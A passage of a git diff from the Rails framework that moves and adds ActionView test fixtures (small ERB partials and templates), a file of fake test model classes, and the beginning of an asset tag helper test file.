--- /dev/null
+++ b/actionview/test/fixtures/test/_changing_priority.html.erb
@@ -0,0 +1 @@
+HTML
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_changing_priority.json.erb b/actionview/test/fixtures/test/_changing_priority.json.erb
new file mode 100644
index 0000000..7fa41dc
--- /dev/null
+++ b/actionview/test/fixtures/test/_changing_priority.json.erb
@@ -0,0 +1 @@
+JSON
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb b/actionview/test/fixtures/test/_content_tag_nested_in_content_tag.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb
rename to actionview/test/fixtures/test/_content_tag_nested_in_content_tag.erb
diff --git a/actionview/test/fixtures/test/_counter.html.erb b/actionview/test/fixtures/test/_counter.html.erb
new file mode 100644
index 0000000..fd245bf
--- /dev/null
+++ b/actionview/test/fixtures/test/_counter.html.erb
@@ -0,0 +1 @@
+<%= counter_counter %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_customer.erb b/actionview/test/fixtures/test/_customer.erb
new file mode 100644
index 0000000..d8220af
--- /dev/null
+++ b/actionview/test/fixtures/test/_customer.erb
@@ -0,0 +1 @@
+Hello: <%= customer.name rescue "Anonymous" %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_customer_greeting.erb b/actionview/test/fixtures/test/_customer_greeting.erb
new file mode 100644
index 0000000..6acbcb2
--- /dev/null
+++ b/actionview/test/fixtures/test/_customer_greeting.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= customer_greeting.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_customer_with_var.erb b/actionview/test/fixtures/test/_customer_with_var.erb
new file mode 100644
index 0000000..00047dd
--- /dev/null
+++ b/actionview/test/fixtures/test/_customer_with_var.erb
@@ -0,0 +1 @@
+<%= customer.name %> <%= customer.name %> <%= customer.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_directory/_partial_with_locales.html.erb b/actionview/test/fixtures/test/_directory/_partial_with_locales.html.erb
new file mode 100644
index 0000000..1cc8d41
--- /dev/null
+++ b/actionview/test/fixtures/test/_directory/_partial_with_locales.html.erb
@@ -0,0 +1 @@
+Hello <%= name %>
diff --git a/actionview/test/fixtures/test/_first_json_partial.json.erb b/actionview/test/fixtures/test/_first_json_partial.json.erb
new file mode 100644
index 0000000..790ee89
--- /dev/null
+++ b/actionview/test/fixtures/test/_first_json_partial.json.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/second_json_partial" %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_from_helper.erb b/actionview/test/fixtures/test/_from_helper.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_from_helper.erb
rename to actionview/test/fixtures/test/_from_helper.erb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory b/actionview/test/fixtures/test/_json_change_priority.json.erb
similarity index 100%
copy from railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory
copy to actionview/test/fixtures/test/_json_change_priority.json.erb
diff --git a/actionpack/test/fixtures/test/_label_with_block.erb b/actionview/test/fixtures/test/_label_with_block.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_label_with_block.erb
rename to actionview/test/fixtures/test/_label_with_block.erb
diff --git a/actionpack/test/fixtures/test/_layout_for_block_with_args.html.erb b/actionview/test/fixtures/test/_layout_for_block_with_args.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_layout_for_block_with_args.html.erb
rename to actionview/test/fixtures/test/_layout_for_block_with_args.html.erb
diff --git a/actionview/test/fixtures/test/_layout_for_partial.html.erb b/actionview/test/fixtures/test/_layout_for_partial.html.erb
new file mode 100644
index 0000000..666efad
--- /dev/null
+++ b/actionview/test/fixtures/test/_layout_for_partial.html.erb
@@ -0,0 +1,3 @@
+Before (<%= name %>)
+<%= yield %>
+After
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb b/actionview/test/fixtures/test/_layout_with_partial_and_yield.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb
rename to actionview/test/fixtures/test/_layout_with_partial_and_yield.html.erb
diff --git a/actionpack/test/fixtures/test/_local_inspector.html.erb b/actionview/test/fixtures/test/_local_inspector.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_local_inspector.html.erb
rename to actionview/test/fixtures/test/_local_inspector.html.erb
diff --git a/actionpack/test/fixtures/test/_object_inspector.erb b/actionview/test/fixtures/test/_object_inspector.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_object_inspector.erb
rename to actionview/test/fixtures/test/_object_inspector.erb
diff --git a/actionpack/test/fixtures/test/_one.html.erb b/actionview/test/fixtures/test/_one.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_one.html.erb
rename to actionview/test/fixtures/test/_one.html.erb
diff --git a/actionview/test/fixtures/test/_partial.erb b/actionview/test/fixtures/test/_partial.erb
new file mode 100644
index 0000000..e466dcb
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial.erb
@@ -0,0 +1 @@
+invalid
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial.html.erb b/actionview/test/fixtures/test/_partial.html.erb
new file mode 100644
index 0000000..e39f6c9
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial.html.erb
@@ -0,0 +1 @@
+partial html
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial.js.erb b/actionview/test/fixtures/test/_partial.js.erb
new file mode 100644
index 0000000..b350cdd
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial.js.erb
@@ -0,0 +1 @@
+partial js
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial_for_use_in_layout.html.erb b/actionview/test/fixtures/test/_partial_for_use_in_layout.html.erb
new file mode 100644
index 0000000..3a03a64
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_for_use_in_layout.html.erb
@@ -0,0 +1 @@
+Inside from partial (<%= name %>)
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial_name_local_variable.erb b/actionview/test/fixtures/test/_partial_name_local_variable.erb
new file mode 100644
index 0000000..cc3a91c
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_name_local_variable.erb
@@ -0,0 +1 @@
+<%= partial_name_local_variable %>
diff --git a/actionview/test/fixtures/test/_partial_only.erb b/actionview/test/fixtures/test/_partial_only.erb
new file mode 100644
index 0000000..a44b3ee
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_only.erb
@@ -0,0 +1 @@
+only partial
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial_with_layout.erb b/actionview/test/fixtures/test/_partial_with_layout.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_partial_with_layout.erb
rename to actionview/test/fixtures/test/_partial_with_layout.erb
diff --git a/actionpack/test/fixtures/test/_partial_with_layout_block_content.erb b/actionview/test/fixtures/test/_partial_with_layout_block_content.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_partial_with_layout_block_content.erb
rename to actionview/test/fixtures/test/_partial_with_layout_block_content.erb
diff --git a/actionpack/test/fixtures/test/_partial_with_layout_block_partial.erb b/actionview/test/fixtures/test/_partial_with_layout_block_partial.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_partial_with_layout_block_partial.erb
rename to actionview/test/fixtures/test/_partial_with_layout_block_partial.erb
diff --git a/actionpack/test/fixtures/test/_partial_with_only_html_version.html.erb b/actionview/test/fixtures/test/_partial_with_only_html_version.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_partial_with_only_html_version.html.erb
rename to actionview/test/fixtures/test/_partial_with_only_html_version.html.erb
diff --git a/actionview/test/fixtures/test/_partial_with_partial.erb b/actionview/test/fixtures/test/_partial_with_partial.erb
new file mode 100644
index 0000000..ee0d503
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_with_partial.erb
@@ -0,0 +1,2 @@
+<%= render 'test/partial' %>
+partial with partial
diff --git a/actionpack/test/fixtures/test/_raise.html.erb b/actionview/test/fixtures/test/_raise.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_raise.html.erb
rename to actionview/test/fixtures/test/_raise.html.erb
diff --git a/actionview/test/fixtures/test/_raise_indentation.html.erb b/actionview/test/fixtures/test/_raise_indentation.html.erb
new file mode 100644
index 0000000..f9a9372
--- /dev/null
+++ b/actionview/test/fixtures/test/_raise_indentation.html.erb
@@ -0,0 +1,13 @@
+<p>First paragraph</p>
+<p>Second paragraph</p>
+<p>Third paragraph</p>
+<p>Fourth paragraph</p>
+<p>Fifth paragraph</p>
+<p>Sixth paragraph</p>
+<p>Seventh paragraph</p>
+<p>Eight paragraph</p>
+<p>Ninth paragraph</p>
+<p>Tenth paragraph</p>
+<%= raise "error here!" %>
+<p>Eleventh paragraph</p>
+<p>Twelfth paragraph</p>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_second_json_partial.json.erb b/actionview/test/fixtures/test/_second_json_partial.json.erb
new file mode 100644
index 0000000..5ebb7f1
--- /dev/null
+++ b/actionview/test/fixtures/test/_second_json_partial.json.erb
@@ -0,0 +1 @@
+Third level
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_two.html.erb b/actionview/test/fixtures/test/_two.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_two.html.erb
rename to actionview/test/fixtures/test/_two.html.erb
diff --git a/actionpack/test/fixtures/test/_utf8_partial.html.erb b/actionview/test/fixtures/test/_utf8_partial.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_utf8_partial.html.erb
rename to actionview/test/fixtures/test/_utf8_partial.html.erb
diff --git a/actionpack/test/fixtures/test/_utf8_partial_magic.html.erb b/actionview/test/fixtures/test/_utf8_partial_magic.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_utf8_partial_magic.html.erb
rename to actionview/test/fixtures/test/_utf8_partial_magic.html.erb
diff --git a/actionpack/test/fixtures/test/basic.html.erb b/actionview/test/fixtures/test/basic.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/basic.html.erb
rename to actionview/test/fixtures/test/basic.html.erb
diff --git a/actionview/test/fixtures/test/calling_partial_with_layout.html.erb b/actionview/test/fixtures/test/calling_partial_with_layout.html.erb
new file mode 100644
index 0000000..ac44bc0
--- /dev/null
+++ b/actionview/test/fixtures/test/calling_partial_with_layout.html.erb
@@ -0,0 +1 @@
+<%= render(:layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => { :name => "David" }) %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/change_priority.html.erb b/actionview/test/fixtures/test/change_priority.html.erb
new file mode 100644
index 0000000..5618977
--- /dev/null
+++ b/actionview/test/fixtures/test/change_priority.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => "test/json_change_priority", formats: :json %>
+HTML Template, but <%= render :partial => "test/changing_priority" %> partial
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/dont_pick_me b/actionview/test/fixtures/test/dont_pick_me
similarity index 100%
rename from actionpack/test/fixtures/test/dont_pick_me
rename to actionview/test/fixtures/test/dont_pick_me
diff --git a/actionview/test/fixtures/test/dot.directory/render_file_with_ivar.erb b/actionview/test/fixtures/test/dot.directory/render_file_with_ivar.erb
new file mode 100644
index 0000000..8b8a449
--- /dev/null
+++ b/actionview/test/fixtures/test/dot.directory/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionview/test/fixtures/test/greeting.xml.erb b/actionview/test/fixtures/test/greeting.xml.erb
new file mode 100644
index 0000000..62fb029
--- /dev/null
+++ b/actionview/test/fixtures/test/greeting.xml.erb
@@ -0,0 +1 @@
+<p>This is grand!</p>
diff --git a/actionview/test/fixtures/test/hello.builder b/actionview/test/fixtures/test/hello.builder
new file mode 100644
index 0000000..a471553
--- /dev/null
+++ b/actionview/test/fixtures/test/hello.builder
@@ -0,0 +1,4 @@
+xml.html do
+  xml.p "Hello #{@name}"
+  xml << render(:file => "test/greeting")
+end
\ No newline at end of file
diff --git a/actionpack/test/fixtures/happy_path/render_action/hello_world.erb b/actionview/test/fixtures/test/hello/hello.erb
similarity index 100%
copy from actionpack/test/fixtures/happy_path/render_action/hello_world.erb
copy to actionview/test/fixtures/test/hello/hello.erb
diff --git a/actionpack/test/fixtures/test/hello_world.da.html.erb b/actionview/test/fixtures/test/hello_world.da.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/hello_world.da.html.erb
rename to actionview/test/fixtures/test/hello_world.da.html.erb
diff --git a/actionpack/test/fixtures/happy_path/render_action/hello_world.erb b/actionview/test/fixtures/test/hello_world.erb
similarity index 100%
rename from actionpack/test/fixtures/happy_path/render_action/hello_world.erb
rename to actionview/test/fixtures/test/hello_world.erb
diff --git a/actionpack/test/fixtures/test/hello_world.erb~ b/actionview/test/fixtures/test/hello_world.erb~
similarity index 100%
rename from actionpack/test/fixtures/test/hello_world.erb~
rename to actionview/test/fixtures/test/hello_world.erb~
diff --git a/actionview/test/fixtures/test/hello_world.html+phone.erb b/actionview/test/fixtures/test/hello_world.html+phone.erb
new file mode 100644
index 0000000..b4f236f
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.html+phone.erb
@@ -0,0 +1 @@
+Hello phone!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb b/actionview/test/fixtures/test/hello_world.pt-BR.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/hello_world.pt-BR.html.erb
rename to actionview/test/fixtures/test/hello_world.pt-BR.html.erb
diff --git a/actionview/test/fixtures/test/hello_world.text+phone.erb b/actionview/test/fixtures/test/hello_world.text+phone.erb
new file mode 100644
index 0000000..611e2ee
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.text+phone.erb
@@ -0,0 +1 @@
+Hello texty phone!
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/hello_world_with_partial.html.erb b/actionview/test/fixtures/test/hello_world_with_partial.html.erb
new file mode 100644
index 0000000..ec31545
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world_with_partial.html.erb
@@ -0,0 +1,2 @@
+Hello world!
+<%= render '/test/partial' %>
diff --git a/actionview/test/fixtures/test/html_template.html.erb b/actionview/test/fixtures/test/html_template.html.erb
new file mode 100644
index 0000000..1bbc2b7
--- /dev/null
+++ b/actionview/test/fixtures/test/html_template.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/first_json_partial", formats: :json %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/layout_render_file.erb b/actionview/test/fixtures/test/layout_render_file.erb
similarity index 100%
rename from actionpack/test/fixtures/test/layout_render_file.erb
rename to actionview/test/fixtures/test/layout_render_file.erb
diff --git a/actionpack/test/fixtures/test/layout_render_object.erb b/actionview/test/fixtures/test/layout_render_object.erb
similarity index 100%
rename from actionpack/test/fixtures/test/layout_render_object.erb
rename to actionview/test/fixtures/test/layout_render_object.erb
diff --git a/actionview/test/fixtures/test/list.erb b/actionview/test/fixtures/test/list.erb
new file mode 100644
index 0000000..0a4bda5
--- /dev/null
+++ b/actionview/test/fixtures/test/list.erb
@@ -0,0 +1 @@
+<%= @test_unchanged = 'goodbye' %><%= render :partial => 'customer', :collection => @customers %><%= @test_unchanged %>
diff --git a/actionpack/test/fixtures/test/malformed/malformed.en.html.erb~ b/actionview/test/fixtures/test/malformed/malformed.en.html.erb~
similarity index 100%
copy from actionpack/test/fixtures/test/malformed/malformed.en.html.erb~
copy to actionview/test/fixtures/test/malformed/malformed.en.html.erb~
diff --git a/actionpack/test/fixtures/test/malformed/malformed.erb~ b/actionview/test/fixtures/test/malformed/malformed.erb~
similarity index 100%
rename from actionpack/test/fixtures/test/malformed/malformed.erb~
rename to actionview/test/fixtures/test/malformed/malformed.erb~
diff --git a/actionpack/test/fixtures/test/malformed/malformed.html.erb~ b/actionview/test/fixtures/test/malformed/malformed.html.erb~
similarity index 100%
rename from actionpack/test/fixtures/test/malformed/malformed.html.erb~
rename to actionview/test/fixtures/test/malformed/malformed.html.erb~
diff --git a/actionpack/test/fixtures/test/malformed/malformed.en.html.erb~ b/actionview/test/fixtures/test/malformed/malformed~
similarity index 100%
rename from actionpack/test/fixtures/test/malformed/malformed.en.html.erb~
rename to actionview/test/fixtures/test/malformed/malformed~
diff --git a/actionpack/test/fixtures/test/nested_layout.erb b/actionview/test/fixtures/test/nested_layout.erb
similarity index 100%
rename from actionpack/test/fixtures/test/nested_layout.erb
rename to actionview/test/fixtures/test/nested_layout.erb
diff --git a/actionpack/test/fixtures/test/nested_streaming.erb b/actionview/test/fixtures/test/nested_streaming.erb
similarity index 100%
rename from actionpack/test/fixtures/test/nested_streaming.erb
rename to actionview/test/fixtures/test/nested_streaming.erb
diff --git a/actionpack/test/fixtures/test/one.html.erb b/actionview/test/fixtures/test/one.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/one.html.erb
rename to actionview/test/fixtures/test/one.html.erb
diff --git a/actionview/test/fixtures/test/render_file_with_ivar.erb b/actionview/test/fixtures/test/render_file_with_ivar.erb
new file mode 100644
index 0000000..8b8a449
--- /dev/null
+++ b/actionview/test/fixtures/test/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionview/test/fixtures/test/render_file_with_locals.erb b/actionview/test/fixtures/test/render_file_with_locals.erb
new file mode 100644
index 0000000..ebe09fa
--- /dev/null
+++ b/actionview/test/fixtures/test/render_file_with_locals.erb
@@ -0,0 +1 @@
+The secret is <%= secret %>
diff --git a/actionview/test/fixtures/test/render_file_with_locals_and_default.erb b/actionview/test/fixtures/test/render_file_with_locals_and_default.erb
new file mode 100644
index 0000000..9b4900a
--- /dev/null
+++ b/actionview/test/fixtures/test/render_file_with_locals_and_default.erb
@@ -0,0 +1 @@
+<%= secret ||= 'one' %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/render_partial_inside_directory.html.erb b/actionview/test/fixtures/test/render_partial_inside_directory.html.erb
new file mode 100644
index 0000000..1461b95
--- /dev/null
+++ b/actionview/test/fixtures/test/render_partial_inside_directory.html.erb
@@ -0,0 +1 @@
+<%= render partial: 'test/_directory/partial_with_locales', locals: {'name' => 'Jane'} %>
diff --git a/actionview/test/fixtures/test/render_two_partials.html.erb b/actionview/test/fixtures/test/render_two_partials.html.erb
new file mode 100644
index 0000000..3db6025
--- /dev/null
+++ b/actionview/test/fixtures/test/render_two_partials.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'partial', :locals => {'first' => '1'} %>
+<%= render :partial => 'partial', :locals => {'second' => '2'} %>
diff --git a/actionpack/test/fixtures/test/streaming.erb b/actionview/test/fixtures/test/streaming.erb
similarity index 100%
rename from actionpack/test/fixtures/test/streaming.erb
rename to actionview/test/fixtures/test/streaming.erb
diff --git a/actionpack/test/fixtures/test/streaming_buster.erb b/actionview/test/fixtures/test/streaming_buster.erb
similarity index 100%
rename from actionpack/test/fixtures/test/streaming_buster.erb
rename to actionview/test/fixtures/test/streaming_buster.erb
diff --git a/actionpack/test/fixtures/test/sub_template_raise.html.erb b/actionview/test/fixtures/test/sub_template_raise.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/sub_template_raise.html.erb
rename to actionview/test/fixtures/test/sub_template_raise.html.erb
diff --git a/actionpack/test/fixtures/test/template.erb b/actionview/test/fixtures/test/template.erb
similarity index 100%
rename from actionpack/test/fixtures/test/template.erb
rename to actionview/test/fixtures/test/template.erb
diff --git a/actionpack/test/fixtures/test/update_element_with_capture.erb b/actionview/test/fixtures/test/update_element_with_capture.erb
similarity index 100%
rename from actionpack/test/fixtures/test/update_element_with_capture.erb
rename to actionview/test/fixtures/test/update_element_with_capture.erb
diff --git a/actionpack/test/fixtures/test/utf8.html.erb b/actionview/test/fixtures/test/utf8.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/utf8.html.erb
rename to actionview/test/fixtures/test/utf8.html.erb
diff --git a/actionpack/test/fixtures/test/utf8_magic.html.erb b/actionview/test/fixtures/test/utf8_magic.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/utf8_magic.html.erb
rename to actionview/test/fixtures/test/utf8_magic.html.erb
diff --git a/actionpack/test/fixtures/test/utf8_magic_with_bare_partial.html.erb b/actionview/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
rename to actionview/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
diff --git a/actionpack/test/fixtures/topic.rb b/actionview/test/fixtures/topic.rb
similarity index 100%
rename from actionpack/test/fixtures/topic.rb
rename to actionview/test/fixtures/topic.rb
diff --git a/actionpack/test/fixtures/topics.yml b/actionview/test/fixtures/topics.yml
similarity index 100%
rename from actionpack/test/fixtures/topics.yml
rename to actionview/test/fixtures/topics.yml
diff --git a/actionpack/test/fixtures/topics/_topic.html.erb b/actionview/test/fixtures/topics/_topic.html.erb
similarity index 100%
rename from actionpack/test/fixtures/topics/_topic.html.erb
rename to actionview/test/fixtures/topics/_topic.html.erb
diff --git a/actionpack/test/fixtures/translations/templates/array.erb b/actionview/test/fixtures/translations/templates/array.erb
similarity index 100%
rename from actionpack/test/fixtures/translations/templates/array.erb
rename to actionview/test/fixtures/translations/templates/array.erb
diff --git a/actionpack/test/fixtures/translations/templates/default.erb b/actionview/test/fixtures/translations/templates/default.erb
similarity index 100%
rename from actionpack/test/fixtures/translations/templates/default.erb
rename to actionview/test/fixtures/translations/templates/default.erb
diff --git a/actionpack/test/fixtures/translations/templates/found.erb b/actionview/test/fixtures/translations/templates/found.erb
similarity index 100%
rename from actionpack/test/fixtures/translations/templates/found.erb
rename to actionview/test/fixtures/translations/templates/found.erb
diff --git a/actionpack/test/fixtures/translations/templates/missing.erb b/actionview/test/fixtures/translations/templates/missing.erb
similarity index 100%
rename from actionpack/test/fixtures/translations/templates/missing.erb
rename to actionview/test/fixtures/translations/templates/missing.erb
diff --git a/actionpack/test/fixtures/with_format.json.erb b/actionview/test/fixtures/with_format.json.erb
similarity index 100%
rename from actionpack/test/fixtures/with_format.json.erb
rename to actionview/test/fixtures/with_format.json.erb
diff --git a/actionview/test/lib/controller/fake_models.rb b/actionview/test/lib/controller/fake_models.rb
new file mode 100644
index 0000000..a463a08
--- /dev/null
+++ b/actionview/test/lib/controller/fake_models.rb
@@ -0,0 +1,185 @@
+require "active_model"
+
+class Customer < Struct.new(:name, :id)
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  undef_method :to_json
+
+  def to_xml(options={})
+    if options[:builder]
+      options[:builder].name name
+    else
+      "<name>#{name}</name>"
+    end
+  end
+
+  def to_js(options={})
+    "name: #{name.inspect}"
+  end
+  alias :to_text :to_js
+
+  def errors
+    []
+  end
+
+  def persisted?
+    id.present?
+  end
+end
+
+class GoodCustomer < Customer
+end
+
+class Post < Struct.new(:title, :author_name, :body, :secret, :persisted, :written_on, :cost)
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+  extend ActiveModel::Translation
+
+  alias_method :secret?, :secret
+  alias_method :persisted?, :persisted
+
+  def initialize(*args)
+    super
+    @persisted = false
+  end
+
+  attr_accessor :author
+  def author_attributes=(attributes); end
+
+  attr_accessor :comments, :comment_ids
+  def comments_attributes=(attributes); end
+
+  attr_accessor :tags
+  def tags_attributes=(attributes); end
+end
+
+class Comment
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  attr_reader :id
+  attr_reader :post_id
+  def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
+  def to_key; id ? [id] : nil end
+  def save; @id = 1; @post_id = 1 end
+  def persisted?; @id.present? end
+  def to_param; @id.to_s; end
+  def name
+    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+  end
+
+  attr_accessor :relevances
+  def relevances_attributes=(attributes); end
+
+  attr_accessor :body
+end
+
+class Tag
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  attr_reader :id
+  attr_reader :post_id
+  def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
+  def to_key; id ? [id] : nil end
+  def save; @id = 1; @post_id = 1 end
+  def persisted?; @id.present? end
+  def to_param; @id; end
+  def value
+    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+  end
+
+  attr_accessor :relevances
+  def relevances_attributes=(attributes); end
+
+end
+
+class CommentRelevance
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  attr_reader :id
+  attr_reader :comment_id
+  def initialize(id = nil, comment_id = nil); @id, @comment_id = id, comment_id end
+  def to_key; id ? [id] : nil end
+  def save; @id = 1; @comment_id = 1 end
+  def persisted?; @id.present? end
+  def to_param; @id; end
+  def value
+    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+  end
+end
+
+class Sheep
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  attr_reader :id
+  def to_key; id ? [id] : nil end
+  def save; @id = 1 end
+  def new_record?; @id.nil? end
+  def name
+    @id.nil? ? 'new sheep' : "sheep ##{@id}"
+  end
+end
+
+class TagRelevance
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  attr_reader :id
+  attr_reader :tag_id
+  def initialize(id = nil, tag_id = nil); @id, @tag_id = id, tag_id end
+  def to_key; id ? [id] : nil end
+  def save; @id = 1; @tag_id = 1 end
+  def persisted?; @id.present? end
+  def to_param; @id; end
+  def value
+    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+  end
+end
+
+class Author < Comment
+  attr_accessor :post
+  def post_attributes=(attributes); end
+end
+
+class HashBackedAuthor < Hash
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  def persisted?; false; end
+
+  def name
+    "hash backed author"
+  end
+end
+
+module Blog
+  def self.use_relative_model_naming?
+    true
+  end
+
+  class Post < Struct.new(:title, :id)
+    extend ActiveModel::Naming
+    include ActiveModel::Conversion
+
+    def persisted?
+      id.present?
+    end
+  end
+end
+
+class ArelLike
+  def to_ary
+    true
+  end
+  def each
+    a = Array.new(2) { |id| Comment.new(id + 1) }
+    a.each { |i| yield i }
+  end
+end
+
+class Car < Struct.new(:color)
+end
diff --git a/actionpack/test/template/active_model_helper_test.rb b/actionview/test/template/active_model_helper_test.rb
similarity index 100%
rename from actionpack/test/template/active_model_helper_test.rb
rename to actionview/test/template/active_model_helper_test.rb
diff --git a/actionview/test/template/asset_tag_helper_test.rb b/actionview/test/template/asset_tag_helper_test.rb
new file mode 100644
index 0000000..1853683
--- /dev/null
+++ b/actionview/test/template/asset_tag_helper_test.rb
@@ -0,0 +1,762 @@
+require 'zlib'
+require 'abstract_unit'
+require 'active_support/ordered_options'
+
+class AssetTagHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::AssetTagHelper
+
+  attr_reader :request
+
+  def setup
+    super
+
+    @controller = BasicController.new
+
+    @request = Class.new do
+      attr_accessor :script_name
+      def protocol() 'http://' end
+      def ssl?() false end
+      def host_with_port() 'localhost' end
+      def base_url() 'http://www.example.com' end
+    end.new
+
+    @controller.request = @request
+  end
+
+  def url_for(*args)
+    "http://www.example.com"
+  end
+
+  AssetPathToTag = {
+    %(asset_path("foo"))          => %(/foo),
+    %(asset_path("style.css"))    => %(/style.css),
+    %(asset_path("xmlhr.js"))     => %(/xmlhr.js),
+    %(asset_path("xml.png"))      => %(/xml.png),
+    %(asset_path("dir/xml.png"))  => %(/dir/xml.png),
+    %(asset_path("/dir/xml.png")) => %(/dir/xml.png),
+
+    %(asset_path("script.min"))       => %(/script.min),
+    %(asset_path("script.min.js"))    => %(/script.min.js),
+    %(asset_path("style.min"))        => %(/style.min),
+    %(asset_path("style.min.css"))    => %(/style.min.css),
+
+    %(asset_path("http://www.outside.com/image.jpg")) => %(http://www.outside.com/image.jpg),
+    %(asset_path("HTTP://www.outside.com/image.jpg")) => %(HTTP://www.outside.com/image.jpg),
+
+    %(asset_path("style", type: :stylesheet)) => %(/stylesheets/style.css),
+    %(asset_path("xmlhr", type: :javascript)) => %(/javascripts/xmlhr.js),
+    %(asset_path("xml.png", type: :image))    => %(/images/xml.png)
+  }
+
+  AutoDiscoveryToTag = {
+    %(auto_discovery_link_tag) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:rss)) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:atom)) => %(<link href="http://www.example.com" rel="alternate" title="ATOM" type="application/atom+xml" />),
+    %(auto_discovery_link_tag(:rss, :action => "feed")) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:rss, "http://localhost/feed")) => %(<link href="http://localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:rss, "//localhost/feed")) => %(<link href="//localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(nil, {}, {:type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="" type="text/html" />),
+    %(auto_discovery_link_tag(nil, {}, {:title => "No stream.. really", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="No stream.. really" type="text/html" />),
